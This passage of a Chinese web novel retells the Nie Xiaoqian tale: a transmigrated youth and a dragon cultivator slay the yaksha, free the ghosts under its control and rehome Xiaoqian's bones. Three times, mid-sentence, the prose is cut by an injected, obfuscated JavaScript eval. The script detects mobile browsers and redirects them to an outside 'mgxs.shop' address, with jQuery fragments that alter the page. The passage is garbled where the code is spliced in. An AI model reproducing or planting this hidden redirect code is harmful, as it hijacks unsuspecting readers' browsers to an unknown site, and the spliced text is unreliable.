聂小倩感激涕零,“西峰寺附近一带都是夜叉的地盘,因我的尸骨在此,才会被夜叉所控。我的埋骨之地是寺庙外那颗大白杨树下,树上有乌鸦筑巢那棵,若能得恩公收敛我的骸骨带出此地,将骸骨安葬到别处安静之所,便能救我脱离夜叉控制。” 宁采臣想了想,“如此,倒也不难。” 小倩又道:“只怕我如今将此事告知恩公,又接连两日不能给夜叉带去新鲜的血液和心脏,那夜叉明晚必会亲自前来!请恩公天明便去了结此事,若您实在有其他原因暂不能离开此地,明晚可去找南面或东面之人同住,他们都是能人,我为伥鬼不敢靠近,却是能保公子平安的。” 宁采臣郑重承诺,“既答应你,那我一定照办,也多谢你的提醒。” 小倩含泪的目光变得炽热起来,再次拜谢,起身飘然离去。 李钰和白行野对视一眼,也跟了上去。因为白行野给他俩都贴上了隐匿符咒,一般鬼妖是难以察觉他二人的行踪的。即便如此,李钰依旧小心翼翼,虽然他大部分时间是被白行野给带飞的。 只见小倩飘到寺外山林里,进入附近一处山间洞府中。两人忙跟了上去,那洞府中空间极大,借着着洞中的天然山石掩体,两人保持着一定距离,偷偷观望里面的情况。 洞府内摆着桌椅,在空地处围出一个大厅,竟是烛火通明,歌舞升平。 最上首的虎皮椅上坐着一个青面獠牙,面容可怖的夜叉,那夜叉生得极为高大,身形怪异,肌肉虬结,如同一只人形猛兽。此时他正大口喝酒吃肉,嘴边留下斑斑血迹,李钰看着那血迹才知,他喝的哪里是酒?而是血!那肉……李钰不敢再想。 而在夜叉的右侧下方,坐着一个佝偻的老太婆,那婆子面上带着谄媚的笑,不时和夜叉说着什么。 更有其他妙龄女子侍立左右,而正中间的空地上,数名衣衫单薄的女子,正在为夜叉献舞,身姿摇曳动人,靡靡之音不绝于耳。 李钰没想到跟着小倩过来,居然会见到此等场景,原来被这夜叉所控制的女子数目如此之众。原文中对夜叉的描述很少,他如今真正看到,才觉心惊。 “这些女子都是鬼吗?”李钰低声问。 白行野蹙眉看着,“鬼妖皆有,多是些小鬼和草木精怪,道行低微。她们被迫诱人苟合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102530|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多少能吸食些精元阳气,可道行低微至此,仅能维持人形,想来是都被这夜叉夺去了。” 李钰顿感恶心又愤恨,那岂不是吃干抹净?都是鬼界妖界的底层,被迫受其驱使已经可怜至极,连一丁点翻身的可能也不给她们,简直等同将其一个个敲骨吸髓。 白行野抚上李钰的肩,给了他一个安定的眼神。 聂小倩怯怯走到厅中,那夜叉微微抬手,歌舞暂歇。 只见聂小倩福身行礼,便准备退到一旁,却被那老婆子叫住,“小倩,今夜也没能得手吗?” 小倩脚步一顿,惶恐地跪了下来,答道:“请鬼王恕罪,请姥姥赎罪,西峰寺此次来的人着实不易蛊惑,面对美色不为所动,面对钱帛更嗤之以鼻,我还被那厮骂了许多难听的话。可他一身正气,西峰寺其他厢房所住路人又皆是高人,小倩却力量微薄,实在没有法子。或许等那几人走了,再有新的人来就好了,小倩之后定将这次所欠补上。” 夜叉并未言语,那被叫做姥姥的婆子却嗤笑道:“这可真是怪了,论说在这一众美人中,属你艳绝群芳,可接连两日却连一滴血一颗心都未曾带来,是否是你知道大王看重你,才如此懈怠?” 聂小倩忙道:“小倩所言句句属实,绝无欺骗,请鬼王明鉴。” 姥姥见她越过自己求情,本就对聂小倩有意见的她更是恼怒,就要发火,“你个小蹄子……” “够了。”那夜叉缓缓吐出两个字,可那声音呕哑嘲折实在难听。 “小倩,你过来。” 聂小倩闻言,身体忍不住颤抖起来,却丝毫不敢违抗。她艰难迈步向前,走到夜叉身前复又跪了下来,颤声道:“大王,小倩所言真的都是实情。” 夜叉伸出一根手指勾起小倩的下巴,那只布满青筋的黑手,大得几乎可以一手捏碎一个人的头颅。聂小倩又怎能不怕?她被迫抬头看向夜叉,那如鬼似兽的恐怖面庞就在眼前,让人惊惧得声音都发不出来。 夜叉道:“小倩,你是知道的,我素来最看重你,偶尔出一次这样的差错,我倒也不会降罪于你。” 未等聂小倩松口气,只听他又道:“可是啊,你太不小心了。” 聂小倩瞳孔骤然收缩,难道他知道自己向宁采臣求助的事了? 那夜叉却说:“你居然还带着两个鬼鬼祟祟的尾巴回来,实在有些扫兴了。” 话落,白行野身形一凛,搂住李钰立即后撤。 就在这一瞬间,作为他们掩体的那块山石瞬间炸裂,碎裂的石块四散迸射,惊得一众鬼妖尖叫起来,纷纷四散躲避,场面一时极为混乱。 夜叉站了起来,高大的身躯在厅中投下一个巨大的黑影,“何方鼠辈如此胆大妄为?竟敢混进本王的洞府,意欲何为?!” 白行野将李钰护在身后,嗤笑道:“不过是地府出逃的小小夜叉,没有大的本事,只敢欺辱这些弱小的鬼魂精怪,居然还敢在人间称王称霸?实在可笑。” 夜叉心下一惊,此人将他身份来历一语道破,想必并非小角色。可当着这一众下属的面,他面上哪能表现出来?怒喝道:“你是何人?在本王的地盘还敢妖言惑众?好叫你有命来没命回!” 说罢,夜叉抽出腰间盘踞的铁索,铁索前端还坠着一枚沉重的铁钩,他却如同挥舞轻巧的长鞭一样抽向白行野两人。沉重的铁链飞出,发出哗啦哗啦的声响,铁钩带着气劲直击白行野面门而去! 30.聂小倩(三) 好在二人已在洞口,白行野怕伤着李钰,只顾先护他退去,脚尖一点便飞离山洞。洞口的山壁却惨遭铁钩重击,半边山壁垮塌下来,只剩一半洞口保留。 李钰心有余悸道:“这夜叉好大的力气!他又吸食了这么多人的精元,行野,你有把握吗?” 白行野将李钰放在稍远的地方,在他周身布下防护阵法,边布阵边道:“夜叉也不过是地府鬼卒之一,其性情残暴异常,在地府中负责施行刑罚。他们都喜好食人,但在地府任职是受到约束管控的,如今这个夜叉却出现在人间作恶,定是从地府之中出逃的。你看他手下只有一些低等精怪和鬼魂,必然不是什么厉害角色,你且放心在旁等着,让我去收拾他!” 李钰这才放松一点,嘱咐道:“好,你还是要小心点。” 白行野点点头,回身准备应战,方才他对李钰说的真假掺半,小小鬼卒确实不足为惧,可他控制了这么多的精怪鬼魅,难以想象在此度过了多少年,又吸食了多少人的精气?如今实力究竟如何,只能一战才知。 此时夜叉已从洞中走了出来,每迈出一步,都能感受到大地轻微的震动。 夜叉看到远处的李钰,哈哈大笑道:“我道是什么厉害人物?原来还带着个凡人,这是打算送与本王的下酒菜吗?哈哈哈哈哈哈哈!” 白行野并不言语,金光一闪,取出飞剑,提剑就向夜叉攻去。谁知那夜叉体型虽庞大,行动却很迅猛,这一剑擦身略过,夜叉立即举掌拍向攻到近前的白行野。而白行野似有所感,却并不避开,急速俯身挥剑斩向夜叉小腿,夜叉一个激灵往后急退,那一掌自然落空。 夜叉怒极,将铁索甩起来,山间飓风顿起,飞沙走石如一张大网扑向白行野!可这等伎俩白行野却不放在眼里,一剑刺出,灵气灌注剑身,汹涌剑气形成破风之势荡开沙石,一刹那沙石四散,尘土飞扬! 白行野一个飞身上前,剑尖直刺向夜叉心口,夜叉不得不举起铁索抵挡,短兵相接铿然一声,擦出一阵刺目火花。 就在这时,夜叉手腕翻转,铁索猛地缠上飞剑,顺势搅紧剑身。夜叉只道自己得手,露出得意的邪笑,他一拽铁索便将白行野强行拉至身前,故技重施伸出金刚铁爪掏向白行野胸口,想要一击毙命。 白行野岂会让他得逞?电光石火之间,灵力猛贯剑身,金光爆闪,砰然一声巨响,铁索旋即被暴涨的灵力炸得四分五裂!夜叉大惊收手,急速退去,却仍被炸裂的碎片划出数道伤口。机会难得,白行野当机立断提剑再攻,失了武器的夜叉只得不停闪避。 狼狈之际,他冲众鬼妖怒吼道:“你们还在看什么?还不快来助本大王!” 且不说那些精怪亡魂本就实力低微,谁敢上前?众女子更是恨夜叉入骨,如今看他在高人手下势微,哪会依他所言,听命行事? 只有姥姥飞身上前,加入战局,“大王,老身来助你!” 夜叉对她露出赞许的目光,又怒视其他女子,一边躲闪一边威胁道:“等我收拾完这个小子,你们一个也别想好。” 那些女子神情愈加紧张起来,却依旧无人上前。 姥姥见夜叉难以在白行野剑下脱困,马步一沉,稳扎地面,双臂变化成数条树枝和藤蔓缠绕的巨手,那些枝条如同活物不断生长延长,像两条巨蛇一样冲进战局阻挠。突如其来的变化,使得白行野不得不一边攻击一边闪避,渐渐左支右绌。 姥姥抓住机会,一条”树手”缠住白行野右脚,枝条猛地延长并迅速缠绕数圈,转瞬将白行野右腿至腰际都牢牢锁住。她大喜过望地喊道:“我抓住他了!大王快杀了他!” 间不容发,夜叉欺身上前,指尖利爪闪着寒光,猛然抓向白行野。 就在此时,白行野执剑用力向周遭一挥,以摧枯拉朽之势横扫面前一切,凛冽的剑气呈一道弧光冲散夜叉的进攻之势,更将姥姥的两只“树手”齐齐斩断! “啊啊啊啊啊!!!”姥姥倒栽过去,挥舞着断臂惨叫。 夜叉见形式急转直下,直觉大事不妙,再战下去自己必定命丧其手,也顾不上对他忠心耿耿的姥姥,登时转身向山下逃去。 白行野乘胜追击,可夜叉本就有行动迅捷的特点,在山林间穿梭起来竟似不受阻碍,速度丝毫不减,很快就拉开一段距离。白行野眸光一沉,飞跃而起,白光一闪,化为龙形御风疾冲,眨眼间就追了上来。 身后风声阵阵,夜叉回首一看,惊得肝胆俱裂,自知逃脱不得,转身跪拜,就如同那些被自己胁迫的女鬼女妖对自己一样,向银龙砰砰磕头,大声求道:“小人有眼不识泰山,冲撞了大人!求大人饶小的一命!小的即刻就回地府陈明罪行,求求大人放过我吧!” 那夜叉苦苦哀求,丑陋的脸上涕泗横流。 白行野重化人形,落在夜叉面前,宛若神明降临。然而,他对于夜叉的哀求不为所动,更不信其会回地府领罪。 “若是放过你,那些被你胁迫的鬼妖不会答应,被你挖心喝血的人更不会答应!” 话罢,不再给夜叉任何机会,霍然祭出飞剑刺进夜叉身体,透胸而过。白行野执剑的手一动,灵力经过剑身立时搅碎了夜叉心脏!夜叉连一声哀叫都没能发出,便死透了。 收回剑,白行野嫌弃地在夜叉勉强算是衣服的碎布上蹭干净血迹,又从乾坤袋中掏出一个宝葫芦,对着夜叉尸体的方向一收,干脆利落地收拾完这恶心的鬼物。 而阵中的李钰不知林中情形,还在焦急地等待着,正急得团团转时,就见白行野提着个葫芦回来了。 李钰总算放下心来,远远地就冲他招手,白行野立刻走过去解开阵法。 “解决了?” 白行野扬了扬手中的葫芦,“那是当然,这宝葫芦里就是他的肉身和魂体,里面有我师傅的碎魂阵,专用于对付坏事做尽的恶徒的。这夜叉就等着受尽魂魄碎裂之苦后,才能永远消散吧。” 李钰直道解气,心里面更是对白行野这个师父充满了好奇。他又看向洞府前聚集的众鬼妖,“那她们怎么办?” 白行野想了想,带着李钰走向众女子。那些女子既开心于对方杀了夜叉,又担心自己也被问罪,一时不知如何是好,都呆呆愣在原地。 “如今夜叉已被处置,看在尔等受人所迫的份上,我也不计较你们曾经做过什么,尔等今后尽得解脱,该去赎罪也好,继续修炼也罢,总之你们都自由了。只是,从今以后绝不可再作恶。” 话罢,白行野手指抵住眉心,指尖移开,一缕金光随着指尖从他眉心抽取出来,他将那金光一扬,便化作点点星芒散开,纷纷没入众女鬼精怪的额间。 “此乃《解冤经》,每日诵念,多行善举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107151|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可化解尔等业债,有朝一日或可再入轮回。若叫我听说此地还有鬼妖作祟,我定回来将你们杀个干净!”白行野严肃的神情和严厉的话语,叫李钰都看了发怵,这才知道小银龙在他面前除了偶尔拽了一点,其他时候都堪称和蔼可亲了。 众鬼妖看起来更是无措,仿佛不敢相信自己从此真的自由了。片刻后,人群中才渐渐响起轻微的啜泣声,沉寂被打破,或哭或笑的声音就多起来了。 聂小倩认得他们二人,便上前道谢,“多谢道长相助,救众姐妹脱离苦海,也多谢道长赐下经文,我等从此以后必不敢再为恶。” 其他人也纷纷应是。 白行野冷漠地点点头,也不与她多说什么,李钰却在一旁直直盯着聂小倩,走到近处一看,传说中的小倩果然是长的跟仙女一般貌美,说是国色天香也不为过。饶是见过小翠和十娘那样的绝色,也会被小倩惊艳到。 注意到他的目光,白行野眉头微皱,不自然地移步挡在李钰和聂小倩之间,“咳咳,既如此,那你们都去吧。” 这时,一名女子出声问道:“高人!这姥姥还在此,要如何处置?她也是那夜叉的帮凶,手上性命无数,素日里对我们也是动辄打骂。” 李钰立刻被转移走注意力,“对呀,那个姥姥还没有处置!” 众女子让出一条道,原来那断了双臂的姥姥已被她们堵上嘴绑了起来。姥姥全身被绑,嘴里塞满了碎草泥土,如一条将死之鱼在地上蠕动,喉咙里发出“唔唔嗯嗯”的声音,大概是在求饶。 白行野显然也才想起这么个人,其他人是被胁迫,但这老树妖却是主动助纣为虐,它的道行远高于其他女子,想必是从夜叉身上得了不少好处的。白行野伸手往它身上一指,一阵火光陡然升起,就只听得“哔哔剥剥”的柴火燃烧的声音。 人狠话不多!李钰看他把生火技能用在这上面,只觉得有点好笑,周围的女子们更是拍手称快。 做完这一切后,两人便回了西峰寺,此时天已蒙蒙亮。 今日的荒寺在晨曦中有些不一样了,李钰仰望琉璃瓦折射出的璀璨光芒,似乎可以窥见西峰寺往日的光辉。 两人正要走进寺中,却听到一旁有刨土的动静,二人循声而去,只见一棵高大的白杨树下,一名男子正拿着手里的瓦片在树下挖掘着,这不正是宁采臣嘛。 作为昨晚偷听过宁采臣和聂小倩谈话的二人,自然知道宁采臣在干什么。 只听他忽道一声,“找到了!” 两人凑过去一看,树下的坑洞中,果然有一副骸骨。 宁采臣被突然出现了两人吓了一跳,又怕别人误会自己在做什么坏事,忙吞吞吐吐地解释:“这是我……远房表妹的尸骨,我来此处也是为了替她收敛尸骨回乡安葬的。” 他却不知二人早就知道来龙去脉,都不欲与他详述,李钰嗯嗯啊啊的应付了两句。 宁采臣见二人没有追问的意思,便展开一块布铺在地上,仔细地将骸骨收敛起来。 李钰问他,“你准备将小倩迁坟至何处?” 宁采臣瞠目结舌,“你怎么知道这是小倩的尸骨?!” 李钰只说道:“那胁迫聂小倩的夜叉已经白道长收了,她以后也不会被夜叉所困了。” 言下之意便是,你带不带走小倩的骸骨已经无所谓了。 31.赴约 “原来如此。”宁采臣自知自己方才的谎言早被二人看穿,他们既然知道小倩的苦衷,应当所言不虚,可他仍道,“二位高义,不才佩服至极。可我已经答应小倩,将她迁出此地,寻一安静之所安葬,我准备把她带回我的家乡安葬,正好我也该离开此地了。” 李钰皱起眉,有些生气,所以你就把她葬在你的小书房外是吧?! 原文中,那让他心塞的后续剧情又浮现在脑海中。宁采臣将小倩带回家去,小倩为了报恩也在他家中住下,打理一切家事,也不知宁采臣的原配妻子是否知道此事?虽然原文中说,大家都是瞒着宁妻的,可宁妻就算卧病在床,小倩整日进进出出操持家务,难道她一点察觉都没有吗?她身边的人就都如此守口如瓶,什么都不跟她说? 这事若只是放在故事之中,李钰只会有一些不符合预期的遗憾,也理解可能是蒲松龄老爷子讲述了一个别样的“救风尘”故事。如今李钰身处其中,他怎能认为自己所经历的一切只是话本故事呢?他不得不去思考这背后关系到的人和一些不合理的细节。 同为伥鬼,为何詹贵儿就只能以借尸还魂来还阳?他如今偶尔能凝练出实体,也是靠日日夜夜守护李宅,以此洗清业债,更有白行野所赐灵气、提点修炼之法才能达到的。而小倩即便受了胁迫,即便那些丢了命的人自己贪财好色,轻易受到诱惑,可到底罪不至死。在手染人命的情况下,小倩却能在不过一年的时间就凝练出肉身还还阳了?宁采臣的妻子去世以后,小倩通过和宁采臣的婚姻关系得到了社会的再度认可,蒲松龄大概也是用“还阳”的方式来展现被迫沦落风尘的女子,最终得到美好归宿的艺术性写法,不然怎的别的鬼魂还阳都需要尸身才行? 或许是他的想法过于阴暗,但是想到素未谋面的宁采臣的病妻,他决意不能让宁采臣将小倩带回家! 于是李钰道:“宁兄独自出行本就有诸多不便,还要带上小倩的骸骨恐怕行路更加艰难。不如将小倩的骸骨交于我们,我们正好也要去隔壁衢州府,在那里也有如白道长这样的高人可超度亡魂。小倩葬在此处确实太过荒僻,但迁至衢州府,她的孤魂必有我朋友庇护,也不至于往后再受人侵扰。” 宁采臣一愣,如果李钰二人愿意接手此事,自然是好事,可是毕竟他已然答应了小倩。犹豫片刻,还是拱手道:“小倩有二位相助她脱离苦海,我自然相信二位之能,只是受人之托忠人之事,我既已答应她,却也不好食言。” 白行野不知李钰为何要把小倩的尸骨要到手,想到此前他看小倩的眼神,心里有些不痛快。即便如此,他还是帮腔道:“我既然能收服那夜叉,定也能给聂小倩寻个好的去处,她的骸骨还是由我们收走吧。” “可这……”宁采臣还有些迟疑。 “恩公,我愿意跟道长他们走。”这时,小倩的身影出现在白杨树影下。 三人看向她,白日里见她容色更是摄人心魄,肌映流霞,娇艳尤绝。不只是宁采臣,连李钰都看呆了,白行野轻哼一声,两人才回过神来。 见着面前美人,宁采臣心中有种说不清道不明的感觉,但人家自己已经发话,只能道:“既如此,那便劳烦二位了。” 白行野接过小倩的骸骨,收入乾坤袋中,宁采臣见状叹道:“看来白道长,果然并非一般人。” 聂小倩福身对宁采臣行了一礼,“恩公信义刚直,您的恩情小倩只能来世再报,愿恩公今后一切平安顺遂。” 宁采臣回了一礼,道:“我也未曾出多少力,也祝愿姑娘早得解脱,早入轮回。” “走吧。”白行野不耐地说。 李钰却没立刻离开,而是向宁采臣笑了笑,说道:“宁兄,一个人在外家里人肯定担心,办完事还是早些回乡吧。”说罢,行礼告辞。 宁采臣怔忡片刻,不由想起家中卧病在床的妻子,一时像是被什么惊醒了一般。回过神来,他默默将白杨树下挖开的坑洞重新填好,等再站起身来,仰头正看到阳光透过交错繁杂的树叶撒下点点碎光。他站在树下看了许久,才掸了掸身上的尘土,抬脚离开。 他也是时候回家了。 偌大的西峰寺如今只剩燕赤霞住在里面,他睡到日上三竿才打开门。今日的西峰寺,鬼气竟消散了许多,他有些奇怪,准备出来仔细查看一下。开门一抬脚却踢到一个东西,低头一看,是两坛子酒。 燕赤霞蹲下身,拿起一坛掀开盖子,酒香四溢,一闻就知是好酒。 他往东面厢房看过去,那里的人早已离开。 金华府同衢州府相邻,李钰二人这次很快就到了,在城中饱食一餐后,通过店家问到了邬镇的方向,两人便再度出发。 全程几乎都在龙身上的李钰从来没感觉出行如此方便过,唯一不好的,就是两人总是需要走到偏僻处,避开人群才方便白行野化龙形。 “前面那处小镇,应该就是邬镇吧!”李钰指着前方像村落聚集的一处小镇道。 白行野回道:“嗯,这次应该没错了。” 李钰笑了,但是走错了路也不是什么坏事,毕竟让他遇到了小倩,行野还解决了那个该死的夜叉,救一众亡魂精怪脱离了夜叉的控制。 一人一龙躲在云层中向下俯瞰,很快找到了在小镇郊外的土地祠。之所以这么好找,那是因为这土地祠香火十分鼎盛,青烟缭绕,想不注意也难。 如今已是下午,还有人入祠进香,为避人耳目,两人只得落在远处山林间,再步行走过去。 山林间草木葱茏,山路坎坷不平,这山间的羊肠小道狭窄又崎岖,李钰本还抱着边下山边欣赏风景的心情,结果不得不每一步都小心翼翼地下脚了。在白行野又一次抓住他差点摔倒的身体后,便自然地握紧李钰的手,让他借着自己的力走得更稳一些。 李钰眼皮微颤了一下,没有拒绝。白行野的手一如往常比他凉一些,好像自两人从乡下离开那次牵手后,白行野拉他手越来越自然了,哪怕是李钰说过“断袖”这回事后,也丝毫没有避讳。 李钰也搞不懂,是因为这小龙没那么在乎人与人之间相处的边界吗?还是说他对自己也有什么不一样的感觉? 思及此处,李钰忽然一愣,不一样的感觉?他在心里默默叹气,原来他对白行野的感觉确实已经和早先不一样了。 在现代的他,因为从小体弱多病,除了正常上下学,连出去玩的时间都很少,更别提谈恋爱的。因为缺少和同龄人的沟通,也没有恋爱的机会,他从来没有思考过关于性向的问题。 李钰看着在前面牵着他的白行野的背影,好像甚至不止性向的问题……他嘴角抽搐,白行野不但是个男人,还是一条想要位登仙班,有梦想有追求的小男龙。 这样的人怎么会有恋爱的想法?更不可能是和他这样一个凡人了吧! 李钰本来很满意他穿越过来的这个身份,虽然不是什么身份高贵的世家子弟,好歹也是一个不愁钱花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111458|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的富贵少爷。可当他面对白行野,他还是觉得当时如果是穿成一个妖精或者修士、仙人多好。 能拥有漫长的岁月,可以和白行野长长久久在一起。哪怕没有多余的情愫,只是这样和他一起游历人间,那就很满足了。 “你小心点,怎么走路也发神?”白行野提醒他。 李钰不答反问:“行野,你说我到底能不能修仙啊?” 白行野回过头看他,无情地道:“你很想修仙?可你好像不太适合。” “为什么?”李钰一听就不高兴了,“是没有慧根吗?” 白行野嘴角上扬,“因为你太爱多管闲事了,根本不能专注修行。” 李钰一听就知道白行野又在打趣他,翻了个白眼说:“我问你认真的!” 白行野这才知道他没在开玩笑,沉吟片刻说:“要论人怎么修炼我不太清楚,我的人族师兄师姐都比我拜师早。他们是怎么踏上这条路的,我也不知,回头我们找个道观问问?” 李钰有些失望,果然像仙侠小说中的主角那样要么身怀异能,要么自带异宝或系统,各种能人异士争相要收其为徒,大概那样的情况在这个世界是不存在的吧?要想修仙问道还是得去当道士,那他还是算了,继续当他的富贵闲人吧。 他装作不在意道,“罢了罢了,我随口一问。” 两人总算走到山下,却发现山下早有人等候,准确说来是有一条狗在等候。 那是一条大黄狗,随处可见的那种,两人一走出林子,便看到它端端正正地蹲坐在乡间小路旁。 黄狗瞧见他二人,忙站起身跑过来,到了跟前,还十分有礼节地向二人低头行了一礼,才道:“恭迎二位贵客,我们主子已经知晓二位前来,因此刻主子还在公干,特命我前来迎接二位。” “小狗说话了!”李钰颇为新奇道,他如今已经见惯了妖精鬼魅,可看到动物说话还是觉得稀奇。 白行野笑道:“小翠不也是这样的吗?” 李钰扑哧一笑,想到小翠之前变成小狐狸的样子,“你这人,难怪小翠之前不喜欢你。” 白行野一脸无所谓的样子。 李钰在大黄狗身前蹲下,伸手想要摸摸它的头,但对方显然是开了灵智的妖精,伸出的手又缩了回来,怕自己这样冒犯小狗。可大黄狗瞪着圆滚滚的黑眼珠期待地看着李钰,又将头一抬拱了拱李钰的手,李钰这才放心地抚摸狗头。 “辛苦你了,你家主子是六郎吧?你叫什么名字呀?” 大黄狗道:“公子叫我小黄就好,正是我家土地老爷让我来接你们的。” “六郎看着年岁那么小,却也要被叫做土地老爷吗?”就连白行野听到这个称呼,也不由发出感慨。 “是啊,还有像小黄这么威武的下属。” 小黄听到李钰这样说,尾巴摇得更欢了。 白行野皱了皱眉,“好了,你别摸他了,先走吧。” 李钰这才站起身来。 小黄也转过身,走在两人前面带路,时不时回头看他们有没有跟上,非常认真负责。不过,小黄没有带二人去往土地祠,而是来到田边,那里有一棵高大的香樟树,虽然已经是秋天了,那棵大树依旧生机勃勃,枝叶繁密。 李钰疑惑地问:“小黄,你带我们来这里干什么?” 小黄站在树前道:“这就是主子的家呀。” “嗯?”李钰上下打量着树,“在树上吗?” 32.知暖意 白行野忍俊不禁道:“土地祠只是六郎公干的地方,非是住所。像土地还有山神这样的地方神职人员,一般都住在树木、巨石或者地穴里,这些天然之物中,都有凡人看不到也进不去的一方玄妙空间,也就是所谓的‘洞天福地’。” “就是这样的!二位公子请随我来吧。”小黄点头赞同,转身走进了树中,像有穿墙术似的,身体没入了树干中。 李钰一边称奇一边又有些紧张,也不顾及别的,伸手就抓住白行野的手,两个人一起向大树直直走了进去。 身体穿过树干时并没有感受到任何阻拦,就像走过一面空气墙,进入之后就到了另一方小世界。里面是一处农家小院,跟他在乡下见到所有农家小院一样朴实无华,和他想象中仙气飘飘的神仙居所完全不一样,普通得有些出人意料了。他忽然想到,小黄不会其实是六郎养的看门狗吧。 小黄将他们引到正屋里,请他们坐下等候,可它毕竟只是一只刚开了灵智的小狗,会说话已经不易,要让它奉茶倒水招待他们就有些难为狗了。 好在李钰和白行野不介意,只问了问小黄王六郎最近的情况如何。 小黄亲热地蹲在李钰脚边,知无不言,“我家主子可忙了,之前因为让乡亲们帮忙招待许大叔,主子说刚上任没多久就欠了乡亲们人情,所以乡亲们有什么请求,他能管的都管。” “主子虽然每天都忙,但香火也多,乡亲们现在都很信服我们主子呢。” 李钰高兴道:“这么好,看来六郎如今过得很充实啊。” “是啊,我受了主子点化,有幸给他看家,随他修行,他也跟我说了好多以前的事,他可想以前的朋友了,你们来他也开心呢!” 李钰和白行野听到这话也分外高兴,恨不得现在就见到王六郎。 正说着,便闻履声,往屋外一看,果然是王六郎回来了,两人一狗忙出屋相迎。 王六郎面貌依然年轻,浑身的气质却成熟了很多。他脸带笑意,“李兄、白道长,可把你们盼来了!” 李钰不好意思地说:“可别说了,家里人不放心,还是中途出了变故,我和行野才能过来的。” “发生何事了?” “此事说来可话长,我们来时忘备酒菜,也不知六郎能否请我们边吃酒边说?”李钰卖了个关子。 王六郎痛快道:“你看我竟如此失礼,这就有好酒好菜奉上。” 说完,他邀两人到圆桌旁落座,右手一挥便有色香诱人的酒菜布于桌上。另有一盘鸡腿猪骨,被王六郎让小黄叼着,回它自己窝里吃去,小黄喜滋滋地叼着吃食回了房。 三人又如同往昔那般对饮畅谈,三杯两盏间,李钰便将青蛙神和西峰寺之事绘声绘色道来。 王六郎听得专注,知道了事情的来龙去脉后连连感慨道:“你二人如此多的奇遇,就是我如今做了几个月的土地都难遇见,说不定你们今后注定也会是我的同道中人。” 李钰只当他玩笑,心说若是行野还有可能。 白行野也问起来当日许大哥来时的情景。 想到许方翻山越岭来看他,王六郎说起来就颇为感动,又遗憾道:“只可惜无特殊情况不能私自在凡人面前现身,当日不能邀许大哥来我这寒舍做客,只能托梦与他相见。” “那我们怎么能来你这儿?”李钰疑惑道。 王六郎眼神瞟向白行野,“那还不是有白道长在,白道长也算半个仙门中人,我请他来,但他要带上你,也没人好置喙什么。” 两人一脸的心照不宣,白行野道:“毕竟我既是龙族又是修道之人,自是少些约束。” 李钰了然道:“想不到六郎也变得如此奸滑。” “哪里就奸猾了?只能算是人情世故罢。”王六郎朗声回道,三人都忍不住笑出了声。 言谈间,王六郎也把聂小倩的事情放在心上,主动提议道:“你们要给那位聂姑娘迁坟,不如就将她葬在你们来时落脚的山上,那里离土地祠和我这里都近。且那小山上没什么强大的妖灵,只有一些淘气的小精怪,小黄也时常去找它们玩。聂姑娘在那里能有伴,又不会有恶灵去打扰,我自也会多多照拂。” 既然王六郎都这么说,李钰他们自然没意见,白行野将聂小倩放出来,聂小倩现身后向王六郎行了一礼。 白行野道:“聂姑娘,此处土地为你选的安葬之所你可满意?” 聂小倩柔声道:“自然听从大人安排,多谢大人和两位恩公为小倩考虑得周全,小倩感激不尽,今后必定日日诵经清洗罪孽,多行善事,才不负三位用心良苦。” 她虽知二位恩公不凡,又正直有信义,定能帮她寻个好去处。却也不曾想到他们居然能找土地神庇佑她,有土地神做靠山,她再也不用担心再遇到夜叉那样的妖魔,此时是发自内心的感激。越想越是觉得无以为报,略带激动道:“如此大恩大德,小倩十死也不足以报,今后愿侍候在土地老爷身侧为奴为婢……” 李钰喝得脸颊泛红,一听小倩这样说,忙打断道:“停停停!聂姑娘,知恩图报固然是美德,但你才出狼窝又来给别人为奴为婢,我们成什么人了?从今往后你能得到自由,又能走上正途,能看到你有这样的造化,我们也开心。若有朝一日你能重入轮回,就是对我们最好的报答了。” 这一席话对聂小倩来说犹如当头棒喝,因知此乃大恩,自己不报于心有愧,可恩公居然说她自己造化好就算报恩……心中诸多惊诧和感动无法言说,终是没忍住落下泪来,立时就要跪下去行大礼叩拜。 李钰忙上前强硬扶起她,“你的心意我们知道,往后也没有夜叉和姥姥那样的坏东西欺负你,不必再动不动就下跪了。” 聂小倩起身,缓缓叹道:“无力报恩,小倩实在是……惭愧。” “是个好姑娘。”王六郎点头道,拿出土地老爷的姿态,一脸“和蔼”道:“聂姑娘不必思虑太多,便如李兄所言顾好你自个儿,便当是报答了,往后若再提为奴为婢,我可要生气的。” 聂小倩重重点头表示知道了,便不再打扰三人,自行退下了。 最大的功臣白行野此间并未发言,而是若有所思地听着李钰和王六郎所言,心中似有所感悟。 之后,他们三人又是好一通叙旧,还是被王六郎催促着,他和白行野两人才去歇息了。 